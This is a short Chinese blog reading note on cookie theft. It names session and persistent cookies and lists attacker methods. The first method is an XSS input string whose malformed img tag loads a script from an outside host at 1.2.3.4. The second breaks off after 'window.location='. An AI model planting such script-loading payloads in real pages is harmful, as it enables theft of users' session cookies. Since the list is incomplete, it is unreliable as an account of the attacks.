读书笔记——威胁：cookie盗窃

一般网站涉及cookie有两种形式：

1、会话cookie

2、持久性cookie

 

攻击者的方式可以有以下：

a、输入文本“<img src=“http://www.a.com/a.jpg<script type=text/javascript src=http://1.2.3.4:81/xss.js">"/><<img src=http://www.a.com/a.jpg</sript>””

b、window.location="

顶 0 踩 0

 

 

• 上一篇ASP.NET MVC 检测开放重定向攻击方法
• 下一篇读书笔记——威胁：跨站请求伪造

我的同类文章

ASP.NET（6）

http://blog.csdn.net

转载于:https://my.oschina.net/kongdf/blog/884874